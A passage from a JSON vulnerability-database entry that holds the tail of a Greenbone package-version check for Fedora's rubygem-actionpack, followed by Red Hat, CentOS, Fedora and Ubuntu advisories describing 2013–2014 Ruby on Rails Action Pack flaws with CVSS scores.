tag_affected = \"rubygem-actionpack on Fedora 20\";\n\n tag_solution = \"Please Install the Updated Packages.\";\n\n\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name: \"FEDORA\", value: \"2014-3169\");\n script_xref(name: \"URL\" , value: \"https://lists.fedoraproject.org/pipermail/package-announce/2014-March/129716.html\");\n script_summary(\"Check for the Version of rubygem-actionpack\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2014 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\");\n exit(0);\n}\n\n\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = get_kb_item(\"ssh/login/release\");\n\nres = \"\";\nif(release == NULL){\n exit(0);\n}\n\nif(release == \"FC20\")\n{\n\n if ((res = isrpmvuln(pkg:\"rubygem-actionpack\", rpm:\"rubygem-actionpack~4.0.0~3.fc20\", rls:\"FC20\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99); # Not vulnerable.\n exit(0);\n}\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "redhat": [{"lastseen": "2021-10-19T20:36:33", "description": "Ruby on Rails is a model-view-controller (MVC) framework for web\napplication development. Action Pack implements the controller and the\nview components.\n\nIt was found that several number conversion helpers in Action View did not\nproperly escape all their parameters. An attacker could use these flaws to\nperform a cross-site scripting (XSS) attack on an application that uses\ndata submitted by a user as parameters to the affected helpers.\n(CVE-2014-0081)\n\nA memory consumption issue was discovered in the text rendering component\nof Action View. A remote attacker could use this flaw to perform a denial\nof service attack by sending specially crafted queries that would result in\nthe creation of Ruby symbols that were never garbage collected.\n(CVE-2014-0082)\n\nRed Hat would like to thank the Ruby on Rails Project for reporting these\nissues. Upstream acknowledges Kevin Reintjes as the original reporter of\nCVE-2014-0081, and Toby Hsieh of SlideShare as the original reporter of\nCVE-2014-0082.\n\nAll ruby193-rubygem-actionpack users are advised to upgrade to these\nupdated packages, which contain backported patches to correct these issues.\n", "cvss3": {}, "published": "2014-03-17T00:00:00", "type": "redhat", "title": "(RHSA-2014:0306) Moderate: ruby193-rubygem-actionpack security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0081", "CVE-2014-0082"], "modified": "2018-06-12T21:28:23", "id": "RHSA-2014:0306", "href": "https://access.redhat.com/errata/RHSA-2014:0306", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2021-10-21T04:42:06", "description": "Red Hat CloudForms Management Engine delivers the insight, control, and\nautomation enterprises need to address the challenges of managing virtual\nenvironments, which are far more complex than physical ones. This\ntechnology enables enterprises with existing virtual infrastructures\nto improve visibility and control, and those just starting virtualization\ndeployments to build and operate a well-managed virtual infrastructure.\n\nA buffer overflow flaw was found in the way Ruby parsed floating point\nnumbers from their text representation. If an application using Ruby\naccepted untrusted input strings and converted them to floating point\nnumbers, an attacker able to provide such input could cause the application\nto crash or, possibly, execute arbitrary code with the privileges of the\napplication. (CVE-2013-4164)\n\nIt was found that Red Hat CloudForms Management Engine did not properly\nsanitize user-supplied values in the ServiceController. A remote attacker\ncould invoke arbitrary method calls in the application controller that, due\nto a lack of sanitization, could allow access to private methods that could\npossibly allow the attacker to execute arbitrary code on the host system.\n(CVE-2014-0057)\n\nIt was found that several number conversion helpers in Action View did not\nproperly escape all their parameters. An attacker could use these flaws to\nperform a cross-site scripting (XSS) attack on an application that uses\ndata submitted by a user as parameters to the affected helpers.\n(CVE-2014-0081)\n\nA memory consumption issue was discovered in the text rendering component\nof Action View. A remote attacker could use this flaw to perform a denial\nof service attack by sending specially crafted queries that would result in\nthe creation of Ruby symbols that were never garbage collected.\n(CVE-2014-0082)\n\nRed Hat would like to thank the Ruby on Rails Project for reporting\nCVE-2014-0081 and CVE-2014-0082. Upstream acknowledges Kevin Reintjes as\nthe original reporter of CVE-2014-0081, and Toby Hsieh of SlideShare as the\noriginal reporter of CVE-2014-0082. The CVE-2014-0057 issue was discovered\nby Jan Rusnacko of the Red Hat Product Security Team.\n\nThis update fixes several bugs and adds multiple enhancements.\nDocumentation for these changes will be available shortly from the Red Hat\nCloudForms 3.0 Management Engine 5.2 Technical Notes linked to in the\nReferences section.\n\nAll users of Red Hat CloudForms are advised to upgrade to these updated\npackages, which contain backported patches to correct these issues and add\nthese enhancements.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "baseScore": 6.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 2.7}, "published": "2014-03-11T00:00:00", "type": "redhat", "title": "(RHSA-2014:0215) Critical: cfme security, bug fix, and enhancement update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-0186", "CVE-2013-4164", "CVE-2014-0057", "CVE-2014-0081", "CVE-2014-0082"], "modified": "2015-04-24T10:18:51", "id": "RHSA-2014:0215", "href": "https://access.redhat.com/errata/RHSA-2014:0215", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-10-19T20:36:29", "description": "Ruby on Rails is a model-view-controller (MVC) framework for web\napplication development. Action Pack implements the controller and the\nview components.\n\nA directory traversal flaw was found in the way Ruby on Rails handled\nwildcard segments in routes with implicit rendering. A remote attacker\ncould use this flaw to retrieve arbitrary local files accessible to a Ruby\non Rails application using the aforementioned routes via a specially\ncrafted request. (CVE-2014-0130)\n\nAll ruby193-rubygem-actionpack users are advised to upgrade to these\nupdated packages, which contain a backported patch to correct this issue.\n", "cvss3": {}, "published": "2014-05-15T00:00:00", "type": "redhat", "title": "(RHSA-2014:0510) Moderate: ruby193-rubygem-actionpack security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0130"], "modified": "2018-06-12T21:28:25", "id": "RHSA-2014:0510", "href": "https://access.redhat.com/errata/RHSA-2014:0510", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2021-10-21T04:47:06", "description": "Red Hat CloudForms Management Engine delivers the insight, control, and\nautomation needed to address the challenges of managing virtual\nenvironments. CloudForms Management Engine is built on Ruby on Rails, a\nmodel-view-controller (MVC) framework for web application development.\nAction Pack implements the controller and the view components.\n\nThe SSH utility script created a world-writable file in /tmp/ using a\npredictable name, and then executed it as root. A local attacker could use\nthis flaw to execute arbitrary commands as the root user. (CVE-2014-3486)\n\nA directory traversal flaw was found in the way Ruby on Rails handled\nwildcard segments in routes with implicit rendering. A remote attacker\ncould use this flaw to retrieve arbitrary local files accessible to a Ruby\non Rails application using the aforementioned routes via a specially\ncrafted request. (CVE-2014-0130)\n\nThe root password of newly-deployed systems was logged to evm.log, allowing\nattackers with local user accounts on the CloudForms Management Engine\nserver to gain root access to newly-deployed systems. (CVE-2014-0184)\n\nA reflected cross-site scripting (XSS) flaw was found in the way CloudForms\nManagement Engine escaped JavaScript elements in certain views. An attacker\ncould construct a carefully crafted URL, which once visited by an\nunsuspecting user, could cause the user's web browser to execute a\nmalicious script in the context of the CloudForms Management Engine domain.\n(CVE-2014-0176)\n\nIt was found that the wait_for_task() function of CloudForms Management\nEngine could, under certain circumstances, enter an infinite loop. A remote\nattacker could use this flaw to repeatedly call wait_for_task(), which\nwould cause an excessive amount of CPU resources to be consumed on the\nsystem running CloudForms Management Engine, resulting in a denial of\nservice. (CVE-2014-0180)\n\nCloudForms Management Engine used a default salt value to protect stored\npasswords; however, as the salt value was known, this did not provide\nadditional protection. This made it easier for local attackers with access\nto the stored passwords to perform brute-force attacks and recover the\nplain text versions of the passwords. (CVE-2014-3489)\n\nThe CVE-2014-0176 issue was discovered by Martin Povolny of Red Hat, the \nCVE-2014-0180 issue was discovered by Jan Rusnacko of the Red Hat Product \nSecurity Team and CVE-2014-3486 issue was discovered by Kurt Seifried of \nthe Red Hat Product Security Team.\n\nThis update also fixes the following bugs:\n\n* Prior to this update, the dashboard widget regeneration could fail with\nan error status for users who were members of multiple LDAP groups.\nThe Widget.get_group method has been updated to work with both a group ID\nand a description, and the timing out of active and queued miq_tasks has\nbeen fixed. Dashboard widgets now regenerate correctly. (BZ#1089673)\n\n* When CloudForms Management Engine failed to check the current region for\na user, the dashboard widgets would display no data for that user.\nWith this update, region checking has been fixed and all widgets in the\ndashboard display correctly. (BZ#1090577)\n\nIn addition, this update adds the following enhancement:\n\n* In order to read storage reports more easily, a new feature has been\nimplemented for snapshot sizes to be available as suffixed bytes (B, KB,\nMB, GB), similar to other disk-related columns (for example the total\nprovisioned space and disk capacity). (BZ#1089036)\n\nAll users of Red Hat CloudForms 3.0 are advised to upgrade to these updated\npackages, which correct these issues and add this enhancement.\n", "cvss3": {}, "published": "2014-06-30T00:00:00", "type": "redhat", "title": "(RHSA-2014:0816) Important: cfme security, bug fix, and enhancement update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.4, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 6.9, "vectorString": "AV:L/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0130", "CVE-2014-0176", "CVE-2014-0180", "CVE-2014-0184", "CVE-2014-3486", "CVE-2014-3489"], "modified": "2016-04-22T10:44:00", "id": "RHSA-2014:0816", "href": "https://access.redhat.com/errata/RHSA-2014:0816", "cvss": {"score": 6.9, "vector": "AV:L/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-19T20:37:16", "description": "Red Hat Subscription Asset Manager acts as a proxy for handling\nsubscription information and software updates on client machines. Red Hat\nSubscription Asset Manager is built on Ruby on Rails, a\nmodel-view-controller (MVC) framework for web application development.\nAction Pack implements the controller and the view components.\n\nA directory traversal flaw was found in the way Ruby on Rails handled\nwildcard segments in routes with implicit rendering. A remote attacker\ncould use this flaw to retrieve arbitrary local files accessible to a Ruby\non Rails application using the aforementioned routes via a specially\ncrafted request. (CVE-2014-0130)\n\nA flaw was found in the way Ruby on Rails handled hashes in certain\nqueries. A remote attacker could use this flaw to perform a denial of\nservice (resource consumption) attack by sending specially crafted queries\nthat would result in the creation of Ruby symbols, which were never garbage\ncollected. (CVE-2013-1854)\n\nTwo cross-site scripting (XSS) flaws were found in Action Pack. A remote\nattacker could use these flaws to conduct XSS attacks against users of an\napplication using Action Pack. (CVE-2013-1855, CVE-2013-1857)\n\nIt was discovered that the internationalization component of Ruby on Rails\ncould, under certain circumstances, return a fallback HTML string that\ncontained user input. A remote attacker could possibly use this flaw to\nperform a reflective cross-site scripting (XSS) attack by providing a\nspecially crafted input to an application using the aforementioned\ncomponent. (CVE-2013-4491)\n\nA denial of service flaw was found in the header handling component of\nAction View. A remote attacker could send strings in specially crafted\nheaders that would be cached indefinitely, which would result in all\navailable system memory eventually being consumed. (CVE-2013-6414)\n\nIt was found that the number_to_currency Action View helper did not\nproperly escape the unit parameter. An attacker could use this flaw to\nperform a cross-site scripting (XSS) attack on an application that uses\ndata submitted by a user in the unit parameter. (CVE-2013-6415)\n\nRed Hat would like to thank Ruby on Rails upstream for reporting these\nissues. Upstream acknowledges Ben Murphy as the original reporter of\nCVE-2013-1854, Charlie Somerville as the original reporter of\nCVE-2013-1855, Alan Jenkins as the original reporter of CVE-2013-1857,\nPeter McLarnan as the original reporter of CVE-2013-4491, Toby Hsieh as the\noriginal reporter of CVE-2013-6414, and Ankit Gupta as the original\nreporter of CVE-2013-6415.\n\nAll Subscription Asset Manager users are advised to upgrade to these\nupdated packages, which contain backported patches to correct these issues.\n", "cvss3": {}, "published": "2014-11-17T00:00:00", "type": "redhat", "title": "(RHSA-2014:1863) Important: Subscription Asset Manager 1.4 security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-1854", "CVE-2013-1855", "CVE-2013-1857", "CVE-2013-4491", "CVE-2013-6414", "CVE-2013-6415", "CVE-2014-0130"], "modified": "2018-06-07T05:01:03", "id": "RHSA-2014:1863", "href": "https://access.redhat.com/errata/RHSA-2014:1863", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "centos": [{"lastseen": "2022-02-27T11:54:08", "description": "**CentOS Errata and Security Advisory** CESA-2014:0306\n\n\nRuby on Rails is a model-view-controller (MVC) framework for web\napplication development. Action Pack implements the controller and the\nview components.\n\nIt was found that several number conversion helpers in Action View did not\nproperly escape all their parameters. An attacker could use these flaws to\nperform a cross-site scripting (XSS) attack on an application that uses\ndata submitted by a user as parameters to the affected helpers.\n(CVE-2014-0081)\n\nA memory consumption issue was discovered in the text rendering component\nof Action View. A remote attacker could use this flaw to perform a denial\nof service attack by sending specially crafted queries that would result in\nthe creation of Ruby symbols that were never garbage collected.\n(CVE-2014-0082)\n\nRed Hat would like to thank the Ruby on Rails Project for reporting these\nissues. Upstream acknowledges Kevin Reintjes as the original reporter of\nCVE-2014-0081, and Toby Hsieh of SlideShare as the original reporter of\nCVE-2014-0082.\n\nAll ruby193-rubygem-actionpack users are advised to upgrade to these\nupdated packages, which contain backported patches to correct these issues.\n\n\n**Merged security bulletin from advisories:**\nhttps://lists.centos.org/pipermail/centos-announce/2014-March/057129.html\n\n**Affected packages:**\nruby193-rubygem-actionpack\nruby193-rubygem-actionpack-doc\n\n**Upstream details at:**\nhttps://access.redhat.com/errata/RHSA-2014:0306", "cvss3": {}, "published": "2014-03-17T21:55:16", "type": "centos", "title": "ruby193 security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0081", "CVE-2014-0082"], "modified": "2014-03-17T21:55:16", "id": "CESA-2014:0306", "href": "https://lists.centos.org/pipermail/centos-announce/2014-March/057129.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2022-02-27T11:54:03", "description": "**CentOS Errata and Security Advisory** CESA-2014:0510\n\n\nRuby on Rails is a model-view-controller (MVC) framework for web\napplication development. Action Pack implements the controller and the\nview components.\n\nA directory traversal flaw was found in the way Ruby on Rails handled\nwildcard segments in routes with implicit rendering. A remote attacker\ncould use this flaw to retrieve arbitrary local files accessible to a Ruby\non Rails application using the aforementioned routes via a specially\ncrafted request. (CVE-2014-0130)\n\nAll ruby193-rubygem-actionpack users are advised to upgrade to these\nupdated packages, which contain a backported patch to correct this issue.\n\n\n**Merged security bulletin from advisories:**\nhttps://lists.centos.org/pipermail/centos-announce/2014-May/057227.html\n\n**Affected packages:**\nruby193-rubygem-actionpack\nruby193-rubygem-actionpack-doc\n\n**Upstream details at:**\nhttps://access.redhat.com/errata/RHSA-2014:0510", "cvss3": {}, "published": "2014-05-21T17:54:02", "type": "centos", "title": "ruby193 security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0130"], "modified": "2014-05-21T17:54:02", "id": "CESA-2014:0510", "href": "https://lists.centos.org/pipermail/centos-announce/2014-May/057227.html", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}], "fedora": [{"lastseen": "2020-12-21T08:17:52", "description": "Eases web-request routing, handling, and response as a half-way front, half-way page controller. Implemented with specific emphasis on enabling ea sy unit/integration testing that doesn't require a browser. ", "edition": 2, "cvss3": {}, "published": "2014-05-23T18:58:55", "type": "fedora", "title": "[SECURITY] Fedora 19 Update: rubygem-actionpack-3.2.13-6.fc19", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 6.4, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4389", "CVE-2013-4491", "CVE-2013-6414", "CVE-2013-6415", "CVE-2013-6417", "CVE-2014-0081", "CVE-2014-0082", "CVE-2014-0130"], "modified": "2014-05-23T18:58:55", "id": "FEDORA:9190522E00", "href": "", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2020-12-21T08:17:52", "description": "Eases web-request routing, handling, and response as a half-way front, half-way page controller. Implemented with specific emphasis on enabling ea sy unit/integration testing that doesn't require a browser. ", "edition": 2, "cvss3": {}, "published": "2014-05-23T18:56:34", "type": "fedora", "title": "[SECURITY] Fedora 20 Update: rubygem-actionpack-4.0.0-4.fc20", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 6.4, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-6414", "CVE-2013-6415", "CVE-2013-6416", "CVE-2013-6417", "CVE-2014-0081", "CVE-2014-0130"], "modified": "2014-05-23T18:56:34", "id": "FEDORA:E3E7F2297F", "href": "", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2020-12-21T08:17:52", "description": "Implements the ActiveRecord pattern (Fowler, PoEAA) for ORM. It ties databa se tables and classes together for business objects, like Customer or Subscription, that can find, save, and destroy themselves without resorting to manual SQL. ", "edition": 2, "cvss3": {}, "published": "2014-03-11T04:00:14", "type": "fedora", "title": "[SECURITY] Fedora 20 Update: rubygem-activerecord-4.0.0-2.fc20", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0080", "CVE-2014-0081"], "modified": "2014-03-11T04:00:14", "id": "FEDORA:9704B2142F", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-12-21T08:17:52", "description": "Eases web-request routing, handling, and response as a half-way front, half-way page controller. Implemented with specific emphasis on enabling ea sy unit/integration testing that doesn't require a browser. ", "edition": 2, "cvss3": {}, "published": "2015-03-05T12:31:58", "type": "fedora", "title": "[SECURITY] Fedora 20 Update: rubygem-actionpack-4.0.0-5.fc20", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 6.4, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-6414", "CVE-2013-6415", "CVE-2013-6416", "CVE-2013-6417", "CVE-2014-0081", "CVE-2014-0130", "CVE-2014-7818", "CVE-2014-7829"], "modified": "2015-03-05T12:31:58", "id": "FEDORA:DFAFC60BC98E", "href": "", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2020-12-21T08:17:52", "description": "Eases web-request routing, handling, and response as a half-way front, half-way page controller. Implemented with specific emphasis on enabling ea sy unit/integration testing that doesn't require a browser. ", "edition": 2, "cvss3": {}, "published": "2014-03-11T04:11:08", "type": "fedora", "title": "[SECURITY] Fedora 19 Update: rubygem-actionpack-3.2.13-5.fc19", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 6.4, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-0155", "CVE-2013-4389", "CVE-2013-4491", "CVE-2013-6414", "CVE-2013-6415", "CVE-2013-6417", "CVE-2014-0081", "CVE-2014-0082"], "modified": "2014-03-11T04:11:08", "id": "FEDORA:29E53215A3", "href": "", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2020-12-21T08:17:52", "description": "Eases web-request routing, handling, and response as a half-way front, half-way page controller. Implemented with specific emphasis on enabling ea sy unit/integration testing that doesn't require a browser. ", "edition": 2, "cvss3": {}, "published": "2014-03-11T04:00:14", "type": "fedora", "title": "[SECURITY] Fedora 20 Update: rubygem-actionpack-4.0.0-3.fc20", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-6414", "CVE-2013-6415", "CVE-2013-6416", "CVE-2013-6417", "CVE-2014-0080", "CVE-2014-0081"], "modified": "2014-03-11T04:00:14", "id": "FEDORA:AA89A21435", "href": "", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "ubuntucve": [{"lastseen": "2021-11-22T21:51:50", "description": "Directory traversal vulnerability in\nactionpack/lib/abstract_controller/base.rb in the implicit-render\nimplementation in Ruby on Rails before 3.2.18, 4.0.x before 4.0.5, and\n4.1.x before 4.1.1, when certain route globbing configurations are enabled,\nallows remote attackers to read arbitrary files via a crafted request.", "cvss3": {}, "published": "2014-05-07T00:00:00", "type": "ubuntucve", "title": "CVE-2014-0130", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0130"], "modified": "2014-05-07T00:00:00", "id": "UB:CVE-2014-0130", "href": "https://ubuntu.com/security/CVE-2014-0130", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2021-11-22T21:52:15", "description": "actionpack/lib/action_view/template/text.rb in Action View in Ruby on Rails\n3.x before 3.2.17 converts MIME type strings to symbols during use of the\n:text option to the render method, which allows remote attackers to cause a\ndenial of service (memory consumption) by including these strings in\nheaders.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[seth-arnold](<https://launchpad.net/~seth-arnold>) | in Oneiric-Saucy, rails package is just for transition\n", "cvss3": {}, "published": "2014-02-20T00:00:00", "type": "ubuntucve", "title": "CVE-2014-0082", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0082"], "modified": "2014-02-20T00:00:00", "id": "UB:CVE-2014-0082", "href": "https://ubuntu.com/security/CVE-2014-0082", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2021-11-22T21:52:15", "description": "Multiple cross-site scripting (XSS) vulnerabilities in\nactionview/lib/action_view/helpers/number_helper.rb in Ruby on Rails before\n3.2.17, 4.0.x before 4.0.3, and 4.1.x before 4.1.0.beta2 allow remote\nattackers to inject arbitrary web script or HTML via the (1) format, (2)\nnegative_format, or (3) units parameter to the (a) number_to_currency, (b)\nnumber_to_percentage, or (c) number_to_human helper.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | in Oneiric+, rails package is just for transition\n", "cvss3": {}, "published": "2014-02-20T00:00:00", "type": "ubuntucve", "title": "CVE-2014-0081", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, 